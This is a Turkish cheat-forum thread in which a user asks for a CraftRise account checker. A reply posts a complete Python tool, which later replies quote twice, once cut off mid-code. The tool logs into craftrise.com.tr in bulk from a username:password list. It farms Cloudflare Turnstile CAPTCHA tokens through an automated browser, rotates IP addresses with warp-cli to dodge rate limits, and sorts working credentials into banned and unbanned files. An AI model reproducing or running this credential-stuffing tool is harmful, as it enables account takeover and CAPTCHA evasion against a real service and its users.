CraftRise Banlı Bansız Ayıran Checker Olan Konuya

WormesTex

Just Helpful
Gold Üye
Katılım
5 Eyl 2025
Mesajlar
308
Beğeniler
42
İletişim
craftrise banlı bansız ayıran checker olan varsa atabılırmı checkerların cogu fix yemiş hepsini bansız olarak gosterıyo yada banlı olarak gosterıyo yenı kodu olan varsa cok super duper olur
 
craftrise banlı bansız ayıran checker olan varsa atabılırmı checkerların cogu fix yemiş hepsini bansız olarak gosterıyo yada banlı olarak gosterıyo yenı kodu olan varsa cok super duper olur
Python:
from flask import Flask, jsonify
from DrissionPage import ChromiumPage
import time
import requests
from bs4 import BeautifulSoup
import threading
import os
import re
import subprocess
import sys

# Renkli terminal çıktıları için colorama
try:
    from colorama import Fore, Style, init
    init(autoreset=True)
except ImportError:
    subprocess.run([sys.executable, "-m", "pip", "install", "colorama"], capture_output=True)
    from colorama import Fore, Style, init
    init(autoreset=True)

app = Flask(__name__)
page = None
token_pool = []
pool_lock = threading.Lock()
THREAD_COUNT = 3
WARP_COUNT = 5
dosya_yolu = "acc.txt"
WIDGET_COUNT = 3
calisma_dizini = ""
DOSYA_BANSIZ = ""
DOSYA_BANLI = ""
DOSYA_HATALI = ""

token_lock = threading.Lock()
file_lock = threading.Lock()
istatistik_lock = threading.Lock()

toplam_hesap_sayisi = 0
taranan_hesap_sayisi = 0
sayac_bansiz = 0
sayac_banli = 0
sayac_basarisiz = 0
sayac_hata = 0
son_loglar = []

def log_ekle(mesaj):
    """Dashboard'un altındaki son işlemler listesine güvenli l0g ekler"""
    with istatistik_lock:
        son_loglar.append(mesaj)
        if len(son_loglar) > 10:
            son_loglar.pop(0)

def ekran_yenile():
    """Terminali temizler ve canlı tabloyu basar"""
    with istatistik_lock:
        os.system('cls' if os.name == 'nt' else 'clear')
   
        yuzde = (taranan_hesap_sayisi / toplam_hesap_sayisi * 100) if toplam_hesap_sayisi > 0 else 0
   
        print(Fore.CYAN + "========================================================")
        print(Fore.CYAN + "                CRAFTRISE BAN CHECKER DASHBOARD         ")
        print(Fore.CYAN + "========================================================")
        print(Fore.WHITE + f" İlerleme Durumu    : %{yuzde:.2f} ({taranan_hesap_sayisi}/{toplam_hesap_sayisi})")
        print(Fore.GREEN + f" Bansız             : {sayac_bansiz}")
        print(Fore.RED + f" Banlı              : {sayac_banli}")
        print(Fore.YELLOW + f" Giriş Başarısız    : {sayac_basarisiz}")
        print(Fore.MAGENTA + f" Sistem/Ağ Hatası   : {sayac_hata}")
        print(Fore.CYAN + "========================================================")
        print(Fore.BLUE + " SON İŞLEMLER:")
   
        for l0g in son_loglar[-10:]:
            print(l0g)
       
        print(Fore.CYAN + "========================================================")

def girdileri_al():
    global THREAD_COUNT, WARP_COUNT, dosya_yolu, WIDGET_COUNT, calisma_dizini, DOSYA_BANSIZ, DOSYA_BANLI, DOSYA_HATALI
    try:
        THREAD_COUNT = int(input("aynı onda kaç thread çalışsın? (Örn: 3, 5, 10): "))
        if THREAD_COUNT <= 0:
            THREAD_COUNT = 3
    except ValueError:
        THREAD_COUNT = 3
 
    try:
        WARP_COUNT = int(input(" kaç hesapta bir WARP (IP) yenilensin? (Örn: 5, 10, 20): "))
        if WARP_COUNT <= 0:
            WARP_COUNT = 5
    except ValueError:
        WARP_COUNT = 5
 
    dosya_yolu = input("taranacak hesap dosyasının yolunu gir (Örn: acc.txt): ").strip()
    if not dosya_yolu:
        dosya_yolu = "acc.txt"
 
    if os.path.isabs(dosya_yolu):
        calisma_dizini = os.path.dirname(dosya_yolu)
    else:
        calisma_dizini = os.getcwd()
 
    DOSYA_BANSIZ = os.path.join(calisma_dizini, "bansiz.txt")
    DOSYA_BANLI = os.path.join(calisma_dizini, "banli.txt")
    DOSYA_HATALI = os.path.join(calisma_dizini, "hata.txt")
    WIDGET_COUNT = THREAD_COUNT

def guvenli_dosya_olustur(dosya_adi):
    try:
        with open(dosya_adi, "a", encoding="utf-8") as f:
            pass
        return dosya_adi
    except Exception as e:
        print(f"[UYARI] Dosya oluşturma hatası: {e}.")
        uzanti_bul = dosya_adi.rsplit('.', 1)
        return f"{uzanti_bul[0]}_yedek.{uzanti_bul[1]}"

def guvenli_yaz(dosya_adi, veri):
    with file_lock:
        for _ in range(10):
            try:
                with open(dosya_adi, "a", encoding="utf-8") as f:
                    f.write(veri)
                    f.flush()
                return True
            except PermissionError:
                time.sleep(0.3)
        print(f"[KRİTİK HATA] {dosya_adi} dosyasına yazılamadı!")
        return False

def initialize_page():
    global page
    print("Tarayıcı altyapısı başlatılıyor...")
    try:
        page = ChromiumPage()
    except Exception as e:
        print(f"Tarayıcı başlatılamadı: {e}")
        return False
 
    try:
        page.get('https://www.craftrise.com.tr')
        time.sleep(3)
    except Exception as e:
        print(f"Siteye bağlanırken hata: {e}")
        return False

    js = f"""
    window._cf_widgets = [];
    window._cf_tokens = {{}};
    window._token_pool = [];
    window._widget_states = {{}};
    for (let i = 0; i < {WIDGET_COUNT}; i++) {{
        const div = document.createElement('div');
        div.id = 'captcha-container-' + i;
        div.style.marginBottom = '10px';
        document.body.appendChild(div);
        window._widget_states = {{"ready": false}};
    }}
    const script = document.createElement('script');
    script.src = 'https://challenges.cloudflare.com/turnstile/v0/api.js?render=explicit';
    script.async = true;
    script.defer = true;
    document.head.appendChild(script);
    script.onload = () => {{
        for (let i = 0; i < {WIDGET_COUNT}; i++) {{
            const id = turnstile.render('#captcha-container-' + i, {{
                sitekey: '0x4AAAAAAA4cK60wpgOTyti9',
                callback: function(token) {{
                    window._cf_tokens = token;
                    window._token_pool.push({{widget_idx: i, token: token}});
                    window._widget_states.ready = true;
                }}
            }});
            window._cf_widgets.push(id);
        }}
        setInterval(() => {{
            for (let i = 0; i < {WIDGET_COUNT}; i++) {{
                let inPool = window._token_pool.some(item => item.widget_idx === i);
                if (!inPool && window._widget_states.ready) {{
                    window._widget_states.ready = false;
                    turnstile.reset(window._cf_widgets);
                }}
            }}
        }}, 200);
    }};
    """
    page.run_js(js)
    print(f"{WIDGET_COUNT} adet Turnstile widget'ı yükleniyor...")

    for _ in range(25):
        try:
            pool_size = page.run_js('return window._token_pool ? window._token_pool.length : 0;')
            if pool_size and pool_size >= (WIDGET_COUNT // 2) + 1:
                print(f"Başlangıçta {pool_size} token hazır!")
                return True
        except:
            pass
        time.sleep(1)
    return False

@app.route('/get-token', methods=['GET'])
def get_new_token():
    try:
        pop_js = """
        if (window._token_pool && window._token_pool.length > 0) {
            let data = window._token_pool.shift();
            return data.token;
        }
        return null;
        """
        for _ in range(100):
            if page:
                token = page.run_js(pop_js)
                if token:
                    return jsonify({"token": token})
            time.sleep(0.1)
        return jsonify({"error": "Token bulunamadı"}), 500
    except Exception as e:
        return jsonify({"error": str(e)}), 500

@app.route('/')
def index():
    return f'{WIDGET_COUNT}li Senkronize Paket Aktif.'

def warp_degistir(baglan=True):
    try:
        if baglan:
            subprocess.run(["warp-cli", "disconnect"], capture_output=True, text=True)
            time.sleep(2)
            subprocess.run(["warp-cli", "connect"], capture_output=True, text=True)
            time.sleep(3)
        else:
            subprocess.run(["warp-cli", "disconnect"], capture_output=True, text=True)
            time.sleep(2)
    except Exception as e:
        log_ekle(Fore.RED + f"[WARP HATASI] {e}")

def ban_kontrol_et(session, username, idx):
    """Sadece ban kontrolü yapan fonksiyon"""
    try:
        url = "https://www.craftrise.com.tr/posts/post-profile.php"
        headers = {
            "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
            "X-Requested-With": "XMLHttpRequest",
            "Referer": "https://www.craftrise.com.tr/profil",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
        }
        data = {"postType": "CHANGE_MAIL", "currentPass": "", "newMail": "[email protected]"}
        response = session.post(url, headers=headers, data=data, timeout=12)
        text = response.text.lower()
   
        if "engelliyken" in text or "yasakland" in text or "banland" in text or "yasaklı" in text:
            return "BANLI"
        else:
            return "BANSIZ"
    except:
        return "KONTROL_EDİLEMEDİ"

def cek_cookie_ve_bilgi(username, password, idx):
    global taranan_hesap_sayisi, sayac_bansiz, sayac_banli, sayac_basarisiz, sayac_hata
    s = requests.Session()
    try:
        token = get_token(s)
        s.get("https://www.craftrise.com.tr", timeout=10)
   
        login_response = s.post("https://www.craftrise.com.tr/posts/post-login.php",
                                headers={
                                    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
                                    "X-Requested-With": "XMLHttpRequest",
                                    "Referer": "https://www.craftrise.com.tr/",
                                    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
                                    "Origin": "https://www.craftrise.com.tr"
                                },
                                data={"value": username, "password": password, "grecaptcharesponse": token},
                                timeout=15)
   
        try:
            res_json = login_response.json()
            if res_json.get("resultType") == "error" or "success" not in str(res_json.get("resultType", "")).lower():
                hata_mesaji = res_json.get("resultMessage", "Bilinmeyen hata")
                with istatistik_lock:
                    sayac_basarisiz += 1
                    taranan_hesap_sayisi += 1
                log_ekle(Fore.YELLOW + f"[{idx}] {username} → Giriş Başarısız: {hata_mesaji}")
                ekran_yenile()
                return
        except:
            if "success" not in login_response.text.lower():
                with istatistik_lock:
                    sayac_basarisiz += 1
                    taranan_hesap_sayisi += 1
                log_ekle(Fore.YELLOW + f"[{idx}] {username} → Giriş Başarısız")
                ekran_yenile()
                return

        # Ban kontrolü
        ban_durumu = ban_kontrol_et(s, username, idx)
   
        with istatistik_lock:
            taranan_hesap_sayisi += 1
            if ban_durumu == "BANLI":
                sayac_banli += 1
                hedef_log = Fore.RED + f"[{idx}] {username} → BANLI HESAP!"
            else:
                sayac_bansiz += 1
                hedef_log = Fore.GREEN + f"[{idx}] {username} → BANSIZ"
   
        log_ekle(hedef_log)
   
        hedef_dosya = DOSYA_BANLI if ban_durumu == "BANLI" else DOSYA_BANSIZ
        satir = f"{username}:{password} | {ban_durumu}\n"
        guvenli_yaz(hedef_dosya, satir)
        ekran_yenile()
   
    except Exception as e:
        with istatistik_lock:
            sayac_hata += 1
            taranan_hesap_sayisi += 1
        log_ekle(Fore.MAGENTA + f"[{idx}] {username} → Hata: {str(e)}")
        guvenli_yaz(DOSYA_HATALI, f"{username}:{password} | Hata: {str(e)}\n")
        ekran_yenile()

def get_token(session):
    with token_lock:
        try:
            r = session.get("http://127.0.0.1:5001/get-token", timeout=10)
            token = r.json().get("token")
            if not token:
                raise ValueError("Token boş")
            return token
        except Exception as e:
            raise RuntimeError(f"Token hatası: {e}")

def main():
    global DOSYA_BANSIZ, DOSYA_BANLI, DOSYA_HATALI, toplam_hesap_sayisi
    girdileri_al()
 
    if not os.path.exists(dosya_yolu):
        print(f"Hata: '{dosya_yolu}' dosyası bulunamadı!")
        input("\nEnter'a bas...")
        return

    def run_flask():
        import logging
        l0g = logging.getLogger('werkzeug')
        l0g.setLevel(logging.ERROR)
        app.run(host='0.0.0.0', port=5001, threaded=True, debug=False, use_reloader=False)

    flask_thread = threading.Thread(target=run_flask, daemon=True)
    flask_thread.start()
    time.sleep(2)

    if not initialize_page():
        print("Tarayıcı başlatılamadı.")
        input("\nEnter'a bas...")
        return

    with open(dosya_yolu, "r", encoding="utf-8") as f:
        accounts = [line.strip() for line in f if ":" in line and line.strip()]

    if not accounts:
        print("Geçerli hesap bulunamadı!")
        input("\nEnter'a bas...")
        return

    toplam_hesap_sayisi = len(accounts)
    DOSYA_BANSIZ = guvenli_dosya_olustur(DOSYA_BANSIZ)
    DOSYA_BANLI = guvenli_dosya_olustur(DOSYA_BANLI)
    DOSYA_HATALI = guvenli_dosya_olustur(DOSYA_HATALI)

    batch_size = THREAD_COUNT
    hesap_sayaci = 0
    ekran_yenile()

    for i in range(0, len(accounts), batch_size):
        if hesap_sayaci == 0 or hesap_sayaci >= WARP_COUNT:
            warp_degistir(baglan=True)
            hesap_sayaci = 0

        batch = accounts[i:i+batch_size]
        threads = []
        log_ekle(Fore.CYAN + f">>> Yeni {len(batch)} hesaplık grup başlatılıyor...")

        for idx_offset, line in enumerate(batch):
            idx = i + idx_offset + 1
            username, password = line.split(":", 1)
       
            t = threading.Thread(target=cek_cookie_ve_bilgi, args=(username, password, idx))
            threads.append(t)
            t.start()
            time.sleep(0.4)

        for t in threads:
            t.join()

        hesap_sayaci += len(batch)
        if hesap_sayaci >= WARP_COUNT:
            warp_degistir(baglan=False)
            time.sleep(4)

    log_ekle(Fore.GREEN + "Tüm hesaplar tarandı!")
    ekran_yenile()
    input("\nÇıkmak için Enter'a bas...")

if __name__ == "__main__":
    try:
        main()
    except Exception as ana_hata:
        print(f"\n[KRİTİK HATA]: {ana_hata}")
        import traceback
        traceback.print_exc()
        input("\nEnter'a bas...")
    finally:
        if 'page' in globals() and page is not None:
            try:
                page.quit()
            except:
                pass
https://cheatglobal.com/konu/craftrise-open-source-banchecker-varmi.129053/page-2#post-2423663 adlı konuyu incelersen daha iyi olur
 
Python:
from flask import Flask, jsonify
from DrissionPage import ChromiumPage
import time
import requests
from bs4 import BeautifulSoup
import threading
import os
import re
import subprocess
import sys

# Renkli terminal çıktıları için colorama
try:
    from colorama import Fore, Style, init
    init(autoreset=True)
except ImportError:
    subprocess.run([sys.executable, "-m", "pip", "install", "colorama"], capture_output=True)
    from colorama import Fore, Style, init
    init(autoreset=True)

app = Flask(__name__)
page = None
token_pool = []
pool_lock = threading.Lock()
THREAD_COUNT = 3
WARP_COUNT = 5
dosya_yolu = "acc.txt"
WIDGET_COUNT = 3
calisma_dizini = ""
DOSYA_BANSIZ = ""
DOSYA_BANLI = ""
DOSYA_HATALI = ""

token_lock = threading.Lock()
file_lock = threading.Lock()
istatistik_lock = threading.Lock()

toplam_hesap_sayisi = 0
taranan_hesap_sayisi = 0
sayac_bansiz = 0
sayac_banli = 0
sayac_basarisiz = 0
sayac_hata = 0
son_loglar = []

def log_ekle(mesaj):
    """Dashboard'un altındaki son işlemler listesine güvenli l0g ekler"""
    with istatistik_lock:
        son_loglar.append(mesaj)
        if len(son_loglar) > 10:
            son_loglar.pop(0)

def ekran_yenile():
    """Terminali temizler ve canlı tabloyu basar"""
    with istatistik_lock:
        os.system('cls' if os.name == 'nt' else 'clear')
  
        yuzde = (taranan_hesap_sayisi / toplam_hesap_sayisi * 100) if toplam_hesap_sayisi > 0 else 0
  
        print(Fore.CYAN + "========================================================")
        print(Fore.CYAN + "                CRAFTRISE BAN CHECKER DASHBOARD         ")
        print(Fore.CYAN + "========================================================")
        print(Fore.WHITE + f" İlerleme Durumu    : %{yuzde:.2f} ({taranan_hesap_sayisi}/{toplam_hesap_sayisi})")
        print(Fore.GREEN + f" Bansız             : {sayac_bansiz}")
        print(Fore.RED + f" Banlı              : {sayac_banli}")
        print(Fore.YELLOW + f" Giriş Başarısız    : {sayac_basarisiz}")
        print(Fore.MAGENTA + f" Sistem/Ağ Hatası   : {sayac_hata}")
        print(Fore.CYAN + "========================================================")
        print(Fore.BLUE + " SON İŞLEMLER:")
  
        for l0g in son_loglar[-10:]:
            print(l0g)
      
        print(Fore.CYAN + "========================================================")

def girdileri_al():
    global THREAD_COUNT, WARP_COUNT, dosya_yolu, WIDGET_COUNT, calisma_dizini, DOSYA_BANSIZ, DOSYA_BANLI, DOSYA_HATALI
    try:
        THREAD_COUNT = int(input("aynı onda kaç thread çalışsın? (Örn: 3, 5, 10): "))
        if THREAD_COUNT <= 0:
            THREAD_COUNT = 3
    except ValueError:
        THREAD_COUNT = 3
 
    try:
        WARP_COUNT = int(input(" kaç hesapta bir WARP (IP) yenilensin? (Örn: 5, 10, 20): "))
        if WARP_COUNT <= 0:
            WARP_COUNT = 5
    except ValueError:
        WARP_COUNT = 5
 
    dosya_yolu = input("taranacak hesap dosyasının yolunu gir (Örn: acc.txt): ").strip()
    if not dosya_yolu:
        dosya_yolu = "acc.txt"
 
    if os.path.isabs(dosya_yolu):
        calisma_dizini = os.path.dirname(dosya_yolu)
    else:
        calisma_dizini = os.getcwd()
 
    DOSYA_BANSIZ = os.path.join(calisma_dizini, "bansiz.txt")
    DOSYA_BANLI = os.path.join(calisma_dizini, "banli.txt")
    DOSYA_HATALI = os.path.join(calisma_dizini, "hata.txt")
    WIDGET_COUNT = THREAD_COUNT

def guvenli_dosya_olustur(dosya_adi):
    try:
        with open(dosya_adi, "a", encoding="utf-8") as f:
            pass
        return dosya_adi
    except Exception as e:
        print(f"[UYARI] Dosya oluşturma hatası: {e}.")
        uzanti_bul = dosya_adi.rsplit('.', 1)
        return f"{uzanti_bul[0]}_yedek.{uzanti_bul[1]}"

def guvenli_yaz(dosya_adi, veri):
    with file_lock:
        for _ in range(10):
            try:
                with open(dosya_adi, "a", encoding="utf-8") as f:
                    f.write(veri)
                    f.flush()
                return True
            except PermissionError:
                time.sleep(0.3)
        print(f"[KRİTİK HATA] {dosya_adi} dosyasına yazılamadı!")
        return False

def initialize_page():
    global page
    print("Tarayıcı altyapısı başlatılıyor...")
    try:
        page = ChromiumPage()
    except Exception as e:
        print(f"Tarayıcı başlatılamadı: {e}")
        return False
 
    try:
        page.get('https://www.craftrise.com.tr')
        time.sleep(3)
    except Exception as e:
        print(f"Siteye bağlanırken hata: {e}")
        return False

    js = f"""
    window._cf_widgets = [];
    window._cf_tokens = {{}};
    window._token_pool = [];
    window._widget_states = {{}};
    for (let i = 0; i < {WIDGET_COUNT}; i++) {{
        const div = document.createElement('div');
        div.id = 'captcha-container-' + i;
        div.style.marginBottom = '10px';
        document.body.appendChild(div);
        window._widget_states = {{"ready": false}};
    }}
    const script = document.createElement('script');
    script.src = 'https://challenges.cloudflare.com/turnstile/v0/api.js?render=explicit';
    script.async = true;
    script.defer = true;
    document.head.appendChild(script);
    script.onload = () => {{
        for (let i = 0; i < {WIDGET_COUNT}; i++) {{
            const id = turnstile.render('#captcha-container-' + i, {{
                sitekey: '0x4AAAAAAA4cK60wpgOTyti9',
                callback: function(token) {{
                    window._cf_tokens = token;
                    window._token_pool.push({{widget_idx: i, token: token}});
                    window._widget_states.ready = true;
                }}
            }});
            window._cf_widgets.push(id);
        }}
        setInterval(() => {{
            for (let i = 0; i < {WIDGET_COUNT}; i++) {{
                let inPool = window._token_pool.some(item => item.widget_idx === i);
                if (!inPool && window._widget_states.ready) {{
                    window._widget_states.ready = false;
                    turnstile.reset(window._cf_widgets);
                }}
            }}
        }}, 200);
    }};
    """
    page.run_js(js)
    print(f"{WIDGET_COUNT} adet Turnstile widget'ı yükleniyor...")

    for _ in range(25):
        try:
            pool_size = page.run_js('return window._token_pool ? window._token_pool.length : 0;')
            if pool_size and pool_size >= (WIDGET_COUNT // 2) + 1:
                print(f"Başlangıçta {pool_size} token hazır!")
                return True
        except:
            pass
        time.sleep(1)
    return False

@app.route('/get-token', methods=['GET'])
def get_new_token():
    try:
        pop_js = """
        if (window._token_pool && window._token_pool.length > 0) {
            let data = window._token_pool.shift();
            return data.token;
        }
        return null;
        """
        for _ in range(100):
            if page:
                token = page.run_js(pop_js)
                if token:
                    return jsonify({"token": token})
            time.sleep(0.1)
        return jsonify({"error": "Token bulunamadı"}), 500
    except Exception as e:
        return jsonify({"error": str(e)}), 500

@app.route('/')
def index():
    return f'{WIDGET_COUNT}li Senkronize Paket Aktif.'

def warp_degistir(baglan=True):
    try:
        if baglan:
            subprocess.run(["warp-cli", "disconnect"], capture_output=True, text=True)
            time.sleep(2)
            subprocess.run(["warp-cli", "connect"], capture_output=True, text=True)
            time.sleep(3)
        else:
            subprocess.run(["warp-cli", "disconnect"], capture_output=True, text=True)
            time.sleep(2)
    except Exception as e:
        log_ekle(Fore.RED + f"[WARP HATASI] {e}")

def ban_kontrol_et(session, username, idx):
    """Sadece ban kontrolü yapan fonksiyon"""
    try:
        url = "https://www.craftrise.com.tr/posts/post-profile.php"
        headers = {
            "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
            "X-Requested-With": "XMLHttpRequest",
            "Referer": "https://www.craftrise.com.tr/profil",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
        }
        data = {"postType": "CHANGE_MAIL", "currentPass": "", "newMail": "[email protected]"}
        response = session.post(url, headers=headers, data=data, timeout=12)
        text = response.text.lower()
  
        if "engelliyken" in text or "yasakland" in text or "banland" in text or "yasaklı" in text:
            return "BANLI"
        else:
            return "BANSIZ"
    except:
        return "KONTROL_EDİLEMEDİ"

def cek_cookie_ve_bilgi(username, password, idx):
    global taranan_hesap_sayisi, sayac_bansiz, sayac_banli, sayac_basarisiz, sayac_hata
    s = requests.Session()
    try:
        token = get_token(s)
        s.get("https://www.craftrise.com.tr", timeout=10)
  
        login_response = s.post("https://www.craftrise.com.tr/posts/post-login.php",
                                headers={
                                    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
                                    "X-Requested-With": "XMLHttpRequest",
                                    "Referer": "https://www.craftrise.com.tr/",
                                    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
                                    "Origin": "https://www.craftrise.com.tr"
                                },
                                data={"value": username, "password": password, "grecaptcharesponse": token},
                                timeout=15)
  
        try:
            res_json = login_response.json()
            if res_json.get("resultType") == "error" or "success" not in str(res_json.get("resultType", "")).lower():
                hata_mesaji = res_json.get("resultMessage", "Bilinmeyen hata")
                with istatistik_lock:
                    sayac_basarisiz += 1
                    taranan_hesap_sayisi += 1
                log_ekle(Fore.YELLOW + f"[{idx}] {username} → Giriş Başarısız: {hata_mesaji}")
                ekran_yenile()
                return
        except:
            if "success" not in login_response.text.lower():
                with istatistik_lock:
                    sayac_basarisiz += 1
                    taranan_hesap_sayisi += 1
                log_ekle(Fore.YELLOW + f"[{idx}] {username} → Giriş Başarısız")
                ekran_yenile()
                return

        # Ban kontrolü
        ban_durumu = ban_kontrol_et(s, username, idx)
  
        with istatistik_lock:
            taranan_hesap_sayisi += 1
            if ban_durumu == "BANLI":
                sayac_banli += 1
                hedef_log = Fore.RED + f"[{idx}] {username} → BANLI HESAP!"
            else:
                sayac_bansiz += 1
                hedef_log = Fore.GREEN + f"[{idx}] {username} → BANSIZ"
  
        log_ekle(hedef_log)
  
        hedef_dosya = DOSYA_BANLI if ban_durumu == "BANLI" else DOSYA_BANSIZ
        satir = f"{username}:{password} | {ban_durumu}\n"
        guvenli_yaz(hedef_dosya, satir)
        ekran_yenile()
  
    except Exception as e:
        with istatistik_lock:
            sayac_hata += 1
            taranan_hesap_sayisi += 1
        log_ekle(Fore.MAGENTA + f"[{idx}] {username} → Hata: {str(e)}")
        guvenli_yaz(DOSYA_HATALI, f"{username}:{password} | Hata: {str(e)}\n")
        ekran_yenile()

def get_token(session):
    with token_lock:
        try:
            r = session.get("http://127.0.0.1:5001/get-token", timeout=10)
            token = r.json().get("token")
            if not token:
                raise ValueError("Token boş")
            return token
        except Exception as e:
            raise RuntimeError(f"Token hatası: {e}")

def main():
    global DOSYA_BANSIZ, DOSYA_BANLI, DOSYA_HATALI, toplam_hesap_sayisi
    girdileri_al()
 
    if not os.path.exists(dosya_yolu):
        print(f"Hata: '{dosya_yolu}' dosyası bulunamadı!")
        input("\nEnter'a bas...")
        return

    def run_flask():
        import logging
        l0g = logging.getLogger('werkzeug')
        l0g.setLevel(logging.ERROR)
        app.run(host='0.0.0.0', port=5001, threaded=True, debug=False, use_reloader=False)

    flask_thread = threading.Thread(target=run_flask, daemon=True)
    flask_thread.start()
    time.sleep(2)

    if not initialize_page():
        print("Tarayıcı başlatılamadı.")
        input("\nEnter'a bas...")
        return

    with open(dosya_yolu, "r", encoding="utf-8") as f:
        accounts = [line.strip() for line in f if ":" in line and line.strip()]

    if not accounts:
        print("Geçerli hesap bulunamadı!")
        input("\nEnter'a bas...")
        return

    toplam_hesap_sayisi = len(accounts)
    DOSYA_BANSIZ = guvenli_dosya_olustur(DOSYA_BANSIZ)
    DOSYA_BANLI = guvenli_dosya_olustur(DOSYA_BANLI)
    DOSYA_HATALI = guvenli_dosya_olustur(DOSYA_HATALI)

    batch_size = THREAD_COUNT
    hesap_sayaci = 0
    ekran_yenile()

    for i in range(0, len(accounts), batch_size):
        if hesap_sayaci == 0 or hesap_sayaci >= WARP_COUNT:
            warp_degistir(baglan=True)
            hesap_sayaci = 0

        batch = accounts[i:i+batch_size]
        threads = []
        log_ekle(Fore.CYAN + f">>> Yeni {len(batch)} hesaplık grup başlatılıyor...")

        for idx_offset, line in enumerate(batch):
            idx = i + idx_offset + 1
            username, password = line.split(":", 1)
      
            t = threading.Thread(target=cek_cookie_ve_bilgi, args=(username, password, idx))
            threads.append(t)
            t.start()
            time.sleep(0.4)

        for t in threads:
            t.join()

        hesap_sayaci += len(batch)
        if hesap_sayaci >= WARP_COUNT:
            warp_degistir(baglan=False)
            time.sleep(4)

    log_ekle(Fore.GREEN + "Tüm hesaplar tarandı!")
    ekran_yenile()
    input("\nÇıkmak için Enter'a bas...")

if __name__ == "__main__":
    try:
        main()
    except Exception as ana_hata:
        print(f"\n[KRİTİK HATA]: {ana_hata}")
        import traceback
        traceback.print_exc()
        input("\nEnter'a bas...")
    finally:
        if 'page' in globals() and page is not None:
            try:
                page.quit()
            except:
                pass
https://cheatglobal.com/konu/craftrise-open-source-banchecker-varmi.129053/page-2#post-2423663 adlı konuyu incelersen daha iyi olur
ya ben beceremedım yada calısmıyor.
 
Python:
from flask import Flask, jsonify
from DrissionPage import ChromiumPage
import time
import requests
from bs4 import BeautifulSoup
import threading
import os
import re
import subprocess
import sys

# Renkli terminal çıktıları için colorama
try:
    from colorama import Fore, Style, init
    init(autoreset=True)
except ImportError:
    subprocess.run([sys.executable, "-m", "pip", "install", "colorama"], capture_output=True)
    from colorama import Fore, Style, init
    init(autoreset=True)

app = Flask(__name__)
page = None
token_pool = []
pool_lock = threading.Lock()
THREAD_COUNT = 3
WARP_COUNT = 5
dosya_yolu = "acc.txt"
WIDGET_COUNT = 3
calisma_dizini = ""
DOSYA_BANSIZ = ""
DOSYA_BANLI = ""
DOSYA_HATALI = ""

token_lock = threading.Lock()
file_lock = threading.Lock()
istatistik_lock = threading.Lock()

toplam_hesap_sayisi = 0
taranan_hesap_sayisi = 0
sayac_bansiz = 0
sayac_banli = 0
sayac_basarisiz = 0
sayac_hata = 0
son_loglar = []

def log_ekle(mesaj):
    """Dashboard'un altındaki son işlemler listesine güvenli l0g ekler"""
    with istatistik_lock:
        son_loglar.append(mesaj)
        if len(son_loglar) > 10:
            son_loglar.pop(0)

def ekran_yenile():
    """Terminali temizler ve canlı tabloyu basar"""
    with istatistik_lock:
        os.system('cls' if os.name == 'nt' else 'clear')
  
        yuzde = (taranan_hesap_sayisi / toplam_hesap_sayisi * 100) if toplam_hesap_sayisi > 0 else 0
  
        print(Fore.CYAN + "========================================================")
        print(Fore.CYAN + "                CRAFTRISE BAN CHECKER DASHBOARD         ")
        print(Fore.CYAN + "========================================================")
        print(Fore.WHITE + f" İlerleme Durumu    : %{yuzde:.2f} ({taranan_hesap_sayisi}/{toplam_hesap_sayisi})")
        print(Fore.GREEN + f" Bansız             : {sayac_bansiz}")
        print(Fore.RED + f" Banlı              : {sayac_banli}")
        print(Fore.YELLOW + f" Giriş Başarısız    : {sayac_basarisiz}")
        print(Fore.MAGENTA + f" Sistem/Ağ Hatası   : {sayac_hata}")
        print(Fore.CYAN + "========================================================")
        print(Fore.BLUE + " SON İŞLEMLER:")
  
        for l0g in son_loglar[-10:]:
            print(l0g)
      
        print(Fore.CYAN + "========================================================")

def girdileri_al():
    global THREAD_COUNT, WARP_COUNT, dosya_yolu, WIDGET_COUNT, calisma_dizini, DOSYA_BANSIZ, DOSYA_BANLI, DOSYA_HATALI
    try:
        THREAD_COUNT = int(input("aynı onda kaç thread çalışsın? (Örn: 3, 5, 10): "))
        if THREAD_COUNT <= 0:
            THREAD_COUNT = 3
    except ValueError:
        THREAD_COUNT = 3
 
    try:
        WARP_COUNT = int(input(" kaç hesapta bir WARP (IP) yenilensin? (Örn: 5, 10, 20): "))
        if WARP_COUNT <= 0:
            WARP_COUNT = 5
    except ValueError:
        WARP_COUNT = 5
 
    dosya_yolu = input("taranacak hesap dosyasının yolunu gir (Örn: acc.txt): ").strip()
    if not dosya_yolu:
        dosya_yolu = "acc.txt"
 
    if os.path.isabs(dosya_yolu):
        calisma_dizini = os.path.dirname(dosya_yolu)
    else:
        calisma_dizini = os.getcwd()
 
    DOSYA_BANSIZ = os.path.join(calisma_dizini, "bansiz.txt")
    DOSYA_BANLI = os.path.join(calisma_dizini, "banli.txt")
    DOSYA_HATALI = os.path.join(calisma_dizini, "hata.txt")
    WIDGET_COUNT = THREAD_COUNT

def guvenli_dosya_olustur(dosya_adi):
    try:
        with open(dosya_adi, "a", encoding="utf-8") as f:
            pass
        return dosya_adi
    except Exception as e:
        print(f"[UYARI] Dosya oluşturma hatası: {e}.")
        uzanti_bul = dosya_adi.rsplit('.', 1)
        return f"{uzanti_bul[0]}_yedek.{uzanti_bul[1]}"

def guvenli_yaz(dosya_adi, veri):
    with file_lock:
        for _ in range(10):
            try:
                with open(dosya_adi, "a", encoding="utf-8") as f:
                    f.write(veri)
                    f.flush()
                return True
            except PermissionError:
                time.sleep(0.3)
        print(f"[KRİTİK HATA] {dosya_adi} dosyasına yazılamadı!")
        return False

def initialize_page():
    global page
    print("Tarayıcı altyapısı başlatılıyor...")
    try:
        page = ChromiumPage()
    except Exception as e:
        print(f"Tarayıcı başlatılamadı: {e}")
        return False
 
    try:
        page.get('https://www.craftrise.com.tr')
        time.sleep(3)
    except Exception as e:
        print(f"Siteye bağlanırken hata: {e}")
        return False

    js = f"""
    window._cf_widgets = [];
    window._cf_tokens = {{}};
    window._token_pool = [];
    window._widget_states = {{}};
    for (let i = 0; i < {WIDGET_COUNT}; i++) {{
        const div = document.createElement('div');
